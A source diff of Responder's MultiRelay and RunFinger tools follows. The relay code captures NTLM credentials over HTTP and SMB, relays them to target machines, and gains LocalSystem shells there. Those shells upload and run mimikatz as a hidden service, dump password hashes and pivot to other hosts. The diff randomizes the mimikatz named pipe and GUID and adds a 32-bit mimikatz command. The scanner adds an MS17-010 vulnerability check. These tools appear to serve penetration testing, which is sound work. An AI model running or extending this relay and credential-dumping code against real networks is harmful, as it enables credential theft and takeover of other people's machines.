print "[+] SMB Session Auth sent."
s.send(buffer1)
smbdata = s.recv(2048)
@@ -375,7 +377,7 @@ class HTTPRelay(BaseRequestHandler):
return None
else:
##Any other type of request, send a 407.
##Any other type of request, send a 401.
Response = IIS_Auth_401_Ans()
self.request.send(str(Response))
@@ -386,7 +388,7 @@ class HTTPRelay(BaseRequestHandler):
pass
class SMBRelay(BaseRequestHandler):
def handle(self):
try:
@@ -402,7 +404,7 @@ class SMBRelay(BaseRequestHandler):
##Negotiate proto answer. That's us.
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc7", pid=pidcalc(data),mid=midcalc(data))
head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x43\xc8", pid=pidcalc(data),mid=midcalc(data))
t = SMBRelayNegoAns(Dialect=Parse_Nego_Dialect(data))
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
@@ -418,7 +420,7 @@ class SMBRelay(BaseRequestHandler):
if data.find("NTLM") is not -1:
##Relay all that to our client.
if data[8:10] == "\x73\x00":
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
#NTLMv2 MIC calculation is a concat of all 3 NTLM (nego,challenge,auth) messages exchange.
#Then simply grab the whole session setup packet except the smb header from the client and pass it to the server.
t = smbdata[36:]
@@ -433,7 +435,7 @@ class SMBRelay(BaseRequestHandler):
if IsSMBAnonymous(data):
##Send logon failure for anonymous logins.
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
t = SMBSessEmpty()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
@@ -447,7 +449,7 @@ class SMBRelay(BaseRequestHandler):
Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host[0],Pivoting)
if Username is not None:
##Got the ntlm message 3, send it over to SMB.
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00")
t = data[36:]#Final relay.
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
@@ -460,15 +462,15 @@ class SMBRelay(BaseRequestHandler):
#We're all set, dropping into shell.
RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
#If runcmd is None it's because tree connect was denied for this user.
#This will only happen once with that specific user account.
#This will only happen once with that specific user account.
#Let's kill that connection so we can force him to reauth with another account.
if RunCmd is None:
s.close()
return None
else:
##Send logon failure, so our client might authenticate with another account.
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
##Send logon failure, so our client might authenticate with another account.
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
t = SMBSessEmpty()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
@@ -514,15 +516,15 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
del ShellOpen[:]
return False
## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$:
## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$:
## Tree Connect
if data[8:10] == "\x73\x00":
GetSessionResponseFlags(data)#While at it, verify if the target has returned a guest session.
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x43\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\C$")
t.calculate()
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
@@ -536,7 +538,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
del ShellOpen[:]
return False
# This one should not happen since we always use the IP address of the target in our tree connects, but just in case..
# This one should not happen since we always use the IP address of the target in our tree connects, but just in case..
if data[8:10] == "\x75\xcc":
print "[+] Tree Connect AndX denied. Bad Network Name returned."
del ShellOpen[:]
@@ -550,9 +552,9 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
print "[+] Looks good, "+Username+" has admin rights on C$."
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")
t.calculate()
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
@@ -574,6 +576,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
else:
print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
ShowHelp()
Logs.info("Client:"+clientIP+", "+Domain+"\\"+Username+" --> Target: "+Target[0]+" -> Shell acquired")
print color('Connected to %s as LocalSystem.'%(Target[0]),2,1)
while True:
@@ -585,7 +588,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
t.daemon = True
t.start()
#Use SMB Pings to maintain our connection alive. Once in a while we perform a dumb read operation
#Use SMB Pings to maintain our connection alive. Once in a while we perform a dumb read operation
#to maintain MultiRelay alive and well.
count = 0
DoEvery = random.randint(10, 45)
@@ -608,6 +611,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
RunAs = re.findall('^runas (.*)$', Cmd[0])
LCmd = re.findall('^lcmd (.*)$', Cmd[0])
Mimi = re.findall('^mimi (.*)$', Cmd[0])
Mimi32 = re.findall('^mimi32 (.*)$', Cmd[0])
Scan = re.findall('^scan (.*)$', Cmd[0])
Pivot = re.findall('^pivot (.*)$', Cmd[0])
Help = re.findall('^help', Cmd[0])
@@ -618,8 +622,8 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
del ShellOpen[:]
return None
##For all of the following commands we send the data (var: data) returned by the
##tree connect IPC$ answer and the socket (var: s) to our operation function in RelayMultiCore.
##For all of the following commands we send the data (var: data) returned by the
##tree connect IPC$ answer and the socket (var: s) to our operation function in RelayMultiCore.
##We also clean up the command array when done.
if DumpReg:
data = DumpHashes(data, s, Target[0])
@@ -637,7 +641,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
if Upload:
File = Upload[0]
if os.path.isfile(File):
if os.path.isfile(File):
FileSize, FileContent = UploadContent(File)
File = os.path.basename(File)
data = WriteFile(data, s, File, FileSize, FileContent, Target[0])
@@ -657,7 +661,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
del Cmd[:]
if RunAs:
if os.path.isfile(RunAsFileName):
if os.path.isfile(RunAsFileName):
FileSize, FileContent = UploadContent(RunAsFileName)
FileName = os.path.basename(RunAsFileName)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
@@ -669,11 +673,11 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
del Cmd[:]
if LCmd:
subprocess.call(LCmd[0], shell=True)
subprocess.call(LCmd[0], shell=True)
del Cmd[:]
if Mimi:
if os.path.isfile(MimikatzFilename):
if os.path.isfile(MimikatzFilename):
FileSize, FileContent = UploadContent(MimikatzFilename)
FileName = os.path.basename(MimikatzFilename)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
@@ -684,6 +688,18 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
print MimikatzFilename+" does not exist, please specify a valid file."
del Cmd[:]
if Mimi32:
if os.path.isfile(Mimikatzx86Filename):
FileSize, FileContent = UploadContent(Mimikatzx86Filename)
FileName = os.path.basename(Mimikatzx86Filename)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
Exec = Mimi32[0]
data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName)
del Cmd[:]
else:
print Mimikatzx86Filename+" does not exist, please specify a valid file."
del Cmd[:]
if Pivot:
if Pivot[0] == Target[0]:
print "[Pivot Verification Failed]: You're already on this host. No need to pivot."
@@ -694,7 +710,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
del Pivot[:]
del Cmd[:]
else:
if os.path.isfile(RunAsFileName):
if os.path.isfile(RunAsFileName):
FileSize, FileContent = UploadContent(RunAsFileName)
FileName = os.path.basename(RunAsFileName)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
@@ -703,7 +719,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
if Status == True:
print "[+] Pivoting to %s."%(Pivot[0])
if os.path.isfile(RunAsFileName):
if os.path.isfile(RunAsFileName):
FileSize, FileContent = UploadContent(RunAsFileName)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
#shell will close.
@@ -738,7 +754,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
##Let go with the command.
if any(x in Cmd for x in Cmd):
if len(Cmd[0]) > 1:
if os.path.isfile(SysSVCFileName):
if os.path.isfile(SysSVCFileName):
FileSize, FileContent = UploadContent(SysSVCFileName)
FileName = os.path.basename(SysSVCFileName)
RunPath = '%windir%\\Temp\\'+FileName
@@ -752,12 +768,12 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
if data is None:
print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure (\\Windows\\Temp\\) is clean on the server\033[0m\n"
if data[8:10] == "\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop.
if data[8:10] == "\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop.
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")#
t.calculate()
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
@@ -772,7 +788,7 @@ def serve_thread_tcp(host, port, handler):
try:
server = ThreadingTCPServer((host, port), handler)
server.serve_forever()
except:
except:
print color('Error starting TCP server on port '+str(port)+ ', check permissions or other servers running.', 1, 1)
def main():

View File

@@ -19,9 +19,11 @@ import sys
import random
import time
import os
import binascii
import re
import datetime
import threading
import uuid
from RelayMultiPackets import *
from odict import OrderedDict
from base64 import b64decode, b64encode
@@ -128,7 +130,10 @@ def ParseHTTPHash(data, key, client, UserToRelay, Host, Pivoting):
else:
print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if User in UserToRelay or "ALL" in UserToRelay:
if ('!' + User) in UserToRelay:
print "[+] Username: %s is blacklisted, dropping connection." % User
return None, None
elif User in UserToRelay or "ALL" in UserToRelay:
if Pivoting[0] == "1":
return User, Domain
print "[+] Username: %s is whitelisted, forwarding credentials."%(User)
@@ -371,6 +376,16 @@ def GenerateServiceName():
def GenerateServiceID():
return''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
def GenerateNamedPipeName():
return''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(random.randint(3, 30))])
def Generateuuid():
RandomStr = binascii.b2a_hex(os.urandom(16))
x = uuid.UUID(bytes_le=RandomStr.decode('hex'))
DisplayGUID = uuid.UUID(RandomStr)
DisplayGUIDle = x.bytes
return str(DisplayGUID), str(DisplayGUIDle)
###
#SMBRelay grab
###
@@ -542,7 +557,7 @@ def MimiKatzRPC(Command, f, host, data, s):
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
w = SMBDCEMimiKatzRPCCommand(CMD=Command)
w.calculate()
x = SMBDCEPacketData(Data=w, Opnum="\x00\x00")
x = SMBDCEPacketData(Data=w, Opnum="\x03\x00")
x.calculate()
t = SMBDCERPCWriteData(FID=f,Data=x)
t.calculate()
@@ -1925,10 +1940,12 @@ def InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, Fi
global MimiKatzSVCID
global MimiKatzSVCName
try:
DisplayGUID, DisplayGUIDle = Generateuuid()
NamedPipe = GenerateNamedPipeName()
RandomFName = GenerateRandomFileName()
WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt"
#Install mimikatz as a service.
Command = "c:\\Windows\\Temp\\"+FileName+" \"rpc::server /protseq:ncacn_np /endpoint:\pipe\wtf /noreg\" service::me exit"
Command = "c:\\Windows\\Temp\\"+FileName+" \"rpc::server /protseq:ncacn_np /endpoint:\pipe\\"+NamedPipe+" /guid:{"+DisplayGUID+"} /noreg\" service::me exit"
MimiKatzSVCName = GenerateServiceName()
MimiKatzSVCID = GenerateServiceID()
@@ -1940,7 +1957,7 @@ def InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, Fi
Logs.info('Command executed:')
Logs.info(clientIP+","+Username+','+Command)
return data
return data, DisplayGUIDle, NamedPipe
except:
#Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works.
@@ -1949,13 +1966,14 @@ def InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, Fi
def RunMimiCmd(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName):
try:
InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName)
data,s = SMBOpenPipe(Host, data, s)
data,guid,namedpipe = InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName)
data,s = SMBOpenPipe(Host, data, s)
##Wait for the pipe to come up..
time.sleep(1)
data,s,f = BindCall("\xe9\x11\xfc\x17\x58\xc2\x8d\x4b\x8d\x07\x2f\x41\x25\x15\x62\x44", "\x01\x00", "\\wtf", data, s)
data,s,f = MimiKatzRPC(Command, f, Host, data, s)
data,s = SMBDCERPCCloseFID(f, data,s)
data,s,f = BindCall(guid, "\x01\x00", "\\"+namedpipe, data, s)
data,s,f = MimiKatzRPC(Command, f, Host, data, s)
data,s = SMBDCERPCCloseFID(f, data,s)
#####
#Kill the SVC now... Never know when the user will leave, so lets not leave anything on the target.
data,s = SMBOpenPipe(Host, data, s)
@@ -1972,7 +1990,7 @@ def RunMimiCmd(data, s, clientIP, Username, Domain, Command, Logs, Host, FileNam
return ModifySMBRetCode(data)
except:
#Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works.
print "[+] Something went wrong while calling mimikatz. Did you run install mimi before launching this command?"
print "[+] Something went wrong while calling mimikatz. Maybe it's a 32bits system? Try mimi32."
return ModifySMBRetCode(data)
##########Pivot#############

Binary file not shown.

View File

@@ -20,23 +20,25 @@ import multiprocessing
from socket import *
from odict import OrderedDict
import optparse
from RunFingerPackets import *
__version__ = "0.7"
__version__ = "0.8"
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
parser.add_option('-g','--grep', action="store_true", dest="Grep", default=False, help="Output in grepable format")
parser.add_option('-a','--all', action="store_true", help="Performs all checks (including MS17-010)", dest="all", default=False)
parser.add_option('-g','--grep', action="store_true", dest="grep_output", default=False, help="Output in grepable format")
options, args = parser.parse_args()
if options.TARGET is None:
print "\n-i Mandatory option is missing, please provide a target or target range.\n"
print("\n-i Mandatory option is missing, please provide a target or target range.\n")
parser.print_help()
exit(-1)
Timeout = 2
Host = options.TARGET
Grep = options.Grep
MS17010Check = options.all
class Packet():
fields = OrderedDict([
@@ -61,82 +63,6 @@ def GetBootTime(data):
time = datetime.datetime.fromtimestamp(t[0])
return time, time.strftime('%Y-%m-%d %H:%M:%S')
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x00"),
("flag2", "\x00\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x00\x00"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNego(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBNegoData(Packet):
fields = OrderedDict([
("BuffType","\x02"),
("Dialect", "NT LM 0.12\x00"),
])
class SMBSessionFingerData(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\x00\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1","\xb1\x00"), #hardcoded len here and hardcoded packet below, no calculation, faster.
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])
##Now Lanman
class SMBHeaderLanMan(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x08"),
("flag2", "\x01\xc8"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x3c\x1b"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
#We grab the domain and hostname from the negotiate protocol answer, since it is in a Lanman dialect format.
class SMBNegoDataLanMan(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x0c\x00"),#hardcoded len here and hardcoded packet below, no calculation, faster.
("BuffType","\x02"),
("Dialect", "NT LM 0.12\x00"),
])
#####################
@@ -153,27 +79,27 @@ def dtoa(d):
return inet_ntoa(struct.pack("!L", d))
def OsNameClientVersion(data):
try:
length = struct.unpack('<H',data[43:45])[0]
if length > 255:
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
if length <= 255:
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
try:
length = struct.unpack('<H',data[43:45])[0]
if length > 255:
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
if length <= 255:
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def GetHostnameAndDomainName(data):
try:
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
Time = GetBootTime(data[60:68])
#If max length domain name, there won't be a \x00\x00\x00 delineator to split on
if Hostname == '':
DomainJoined = data[81:110].replace('\x00','')
Hostname = data[113:].replace('\x00','')
return Hostname, DomainJoined, Time
except:
return "Could not get Hostname.", "Could not get Domain joined"
try:
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
Time = GetBootTime(data[60:68])
#If max length domain name, there won't be a \x00\x00\x00 delineator to split on
if Hostname == '':
DomainJoined = data[81:110].replace('\x00','')
Hostname = data[113:].replace('\x00','')
return Hostname, DomainJoined, Time
except:
return "Could not get Hostname.", "Could not get Domain joined"
def DomainGrab(Host):
s = socket(AF_INET, SOCK_STREAM)
@@ -181,7 +107,6 @@ def DomainGrab(Host):
s.settimeout(Timeout)
s.connect(Host)
except:
print "Host down or port close, skipping"
pass
try:
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
@@ -202,7 +127,6 @@ def SmbFinger(Host):
s.settimeout(Timeout)
s.connect(Host)
except:
print "Host down or port close, skipping"
pass
try:
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
@@ -220,31 +144,85 @@ def SmbFinger(Host):
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
s.close()
if data[8:10] == "\x73\x16":
OsVersion, ClientVersion = OsNameClientVersion(data)
return signing, OsVersion, ClientVersion
except:
pass
def check_ms17_010(host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
if data[8:10] == "\x75\x00":
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",uid=data[32:34],tid=data[28:30],mid="\xc0\x00")
t = SMBTransRAPData()
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
if data[9:13] == "\x05\x02\x00\xc0":
return True
else:
return False
else:
return False
except Exception as err:
return False
def check_smb_null_session(host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(host)
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
if data[8:10] == "\x75\x00":
return True
else:
return False
except Exception:
return False
##################
#run it
def ShowResults(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
except:
return False
try:
print "Retrieving information for %s..."%Host[0]
Hostname, DomainJoined, Time = DomainGrab(Host)
Signing, OsVer, LanManClient = SmbFinger(Host)
print "SMB signing:", Signing
print "Server Time:", Time[1]
print "Os version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
NullSess = check_smb_null_session(Host)
if MS17010Check:
Ms17010 = check_ms17_010(Host)
print "Retrieving information for %s..."%Host[0]
print "SMB signing:", Signing
print "Null Sessions Allowed:", NullSess
print "Vulnerable to MS17-010:", Ms17010
print "Server Time:", Time[1]
print "OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
else:
print "Retrieving information for %s..."%Host[0]
print "SMB signing:", Signing
print "Null Sessions Allowed:", NullSess
print "Server Time:", Time[1]
print "OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
except:
pass
@@ -257,40 +235,40 @@ def ShowSmallResults(Host):
return False
try:
Hostname, DomainJoined, Time = DomainGrab(Host)
Signing, OsVer, LanManClient = SmbFinger(Host)
Message = "['%s', Os:'%s', Domain:'%s', Signing:'%s', Time:'%s']"%(Host[0], OsVer, DomainJoined, Signing, Time[1])
print Message
except:
pass
def IsGrepable():
if options.Grep:
return True
else:
return False
if MS17010Check:
Hostname, DomainJoined, Time = DomainGrab(Host)
Signing, OsVer, LanManClient = SmbFinger(Host)
NullSess = check_smb_null_session(Host)
Ms17010 = check_ms17_010(Host)
message_ms17010 = ", MS17-010: {}".format(Ms17010)
print("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: {} {}".format(Host[0], OsVer, DomainJoined, Signing, Time[1],NullSess, message_ms17010))
else:
Hostname, DomainJoined, Time = DomainGrab(Host)
Signing, OsVer, LanManClient = SmbFinger(Host)
NullSess = check_smb_null_session(Host)
print("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: {}".format(Host[0], OsVer, DomainJoined, Signing, Time[1],NullSess))
except Exception as err:
pass
def RunFinger(Host):
m = re.search("/", str(Host))
if m :
net,_,mask = Host.partition('/')
mask = int(mask)
net = atod(net)
threads = []
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
if IsGrepable():
p = multiprocessing.Process(target=ShowSmallResults, args=((host,445),))
threads.append(p)
p.start()
else:
p = multiprocessing.Process(target=ShowResults, args=((host,445),))
threads.append(p)
p.start()
if m:
net,_,mask = Host.partition('/')
mask = int(mask)
net = atod(net)
threads = []
if options.grep_output:
func = ShowSmallResults
else:
func = ShowResults
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
p = multiprocessing.Process(target=func, args=((host,445),))
threads.append(p)
p.start()
else:
if IsGrepable():
ShowSmallResults((Host,445))
else:
ShowResults((Host,445))
if options.grep_output:
ShowSmallResults((Host,445))
else:
ShowResults((Host,445))
RunFinger(Host)

410
tools/RunFingerPackets.py Normal file
View File

@@ -0,0 +1,410 @@
import random, struct
from socket import *
from time import sleep
from odict import OrderedDict
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
class Packet():
fields = OrderedDict([
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x00"),
("flag2", "\x00\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x00\x00"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNego(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBNegoData(Packet):
fields = OrderedDict([
("BuffType","\x02"),
("Dialect", "NT LM 0.12\x00"),
])
class SMBSessionFingerData(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\x00\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1","\xb1\x00"), #hardcoded len here and hardcoded packet below, no calculation, faster.
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])
##Now Lanman
class SMBHeaderLanMan(Packet):
